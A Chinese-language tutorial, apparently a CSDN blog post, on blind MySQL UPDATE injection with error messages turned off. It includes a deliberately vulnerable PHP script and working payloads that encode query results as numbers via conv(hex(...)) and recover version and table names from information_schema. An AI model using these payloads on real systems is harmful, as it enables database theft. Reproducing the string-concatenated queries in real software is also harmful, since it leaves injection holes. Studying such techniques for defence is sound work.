mysql错误回显注入_update注入关闭报错回显

本文探讨了在MySQL非严格模式下,如何在关闭错误显示时进行Update注入。通过利用MySQL特性,当字符串与数字进行或运算时,结果为数字。文章提供了一个示例代码,展示如何将查询结果转换为数字,再利用unhex()和conv()函数解码获取原始数据。虽然这种方法存在局限性,如数字范围限制和可能的字符过滤,但为安全研究人员提供了一种在特定条件下的注入思路。
摘要由CSDN通过智能技术生成

说明

关于update注入,可能大家最先想到的是报错注入,但是报错注入的前提是开启了错误显示。那如果关闭了报错显示呢?在Update的注入中如果关闭了显错该怎么办这篇文章中提出了一种在关闭报错情况下的注入场景,本篇文章就是对这种原理进行分析,并就一个实际的cms系统进行实际的分析。

mysql的特性

在mysql中,字符串和数组进行或运算时,将得到数字。但是需要注意的是,这个特性需要在MySQL的非严格模式下才可以使用。如下:

mysql> select 'abc'|123;

+-----------+

| 'abc'|123 |

+-----------+

|       123 |

+-----------+

1 row in set, 1 warning (0.00 sec)

mysql> select user()|123;

+------------+

| user()|123 |

+------------+

|        123 |

+------------+

1 row in set (0.00 sec)

利用这种特性,在关闭了报错的情况下就能够将我们查询到的数据转换为十进制的数,然后与字符串进行或运算,得到的结果就是十进制的数,最终转换为对应的字符串即可。

update注入示例

存在如下代码:

$mysqli = new mysqli("localhost","root","root","security");

if($mysqli->connect_errno) {

printf("Connect failed: %s\n",$mysqli->connect_errno);

exit();

}

$mysqli->query("set names utf8");

$id = @$_GET['id'];

$username = @$_GET['username'];

$sql1 = "update users set username='$username' where id='$id'";

var_dump($sql1);

$sql2 = "select * from users where id='$id'";

var_dump($sql2);

$result = $mysqli->query($sql1);

if($result = $mysqli->query($sql2)) {

$row = $result->fetch_array(MYSQLI_ASSOC);

echo "ID=".$id.'的用户名变为'.$row['username'];

$result->close();

} else {

var_dump($mysqli->error);

}

$mysqli->close();

输入一个正常的用户名和ID:

0fcda4367f11d485deaad2187058683d.gif

利用mysql的字符和数字进行或运算的特性,如下:

0fcda4367f11d485deaad2187058683d.gif

得到了数字123456

那么接下来就是注入的过程,我们将需要查询的数据转换为数字,转换的方法就是采用转换为十六进制的方法。

访问test.php?id=1&username=tom'|conv(hex(version()),16,10)|'

0fcda4367f11d485deaad2187058683d.gif

得到这个数据之后接下来就是进行解码,解码的方式使用unhex()即可。如下:

mysql> select unhex(conv(58472576988467,10,16));

+-----------------------------------+

| unhex(conv(58472576988467,10,16)) |

+-----------------------------------+

| 5.5.53                            |

+-----------------------------------+

1 row in set (0.00 sec)

在实际过程中会出现或操作的结果会超过mysql的数字范围导致解码得到的结果不全,是因为将字符串转为十进制之后数值较大超过了mysql的取值范围,比如user()的字符串就存在这样的问题。遇到这种情况就可以使用substr()进行分割。如下:

# 第一次请求得到1到5之间的字符串,

http://localhost/test/test.php?id=1&username=ppp'| conv(hex(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,5)),16,10)|'

# 结果: 435626797420

解码得到:

mysql> select unhex(conv(435626797420,10,16));

+---------------------------------+

| unhex(conv(435626797420,10,16)) |

+---------------------------------+

| email                           |

+---------------------------------+

1 row in set (0.00 sec)

# 第一次请求得到5到10之间的字符串,

http://localhost/test/test.php?id=1&username=ppp'| conv(hex(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),5,10)),16,10)|'

# 结果: 27763

解码得到:

mysql> select unhex(conv(27763,10,16));

+--------------------------+

| unhex(conv(27763,10,16)) |

+--------------------------+

| ls                       |

+--------------------------+

1 row in set (0.00 sec)

将两次的数据进行组合,得到表名为emails

总结

方式需要update语句配合select查询才能够使用,而且需要在MySQL的非严格模式下才可以使用。

文章仅仅只是提供了update在一种场景下的注入方式,但是还是存在一定的局限性,很多时候select、()、,都会被过滤掉。

文章只是提出了一种注入场景,作为一个安全研究人员应该具备举一反三的能力,而不是局限在这个场景里面。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值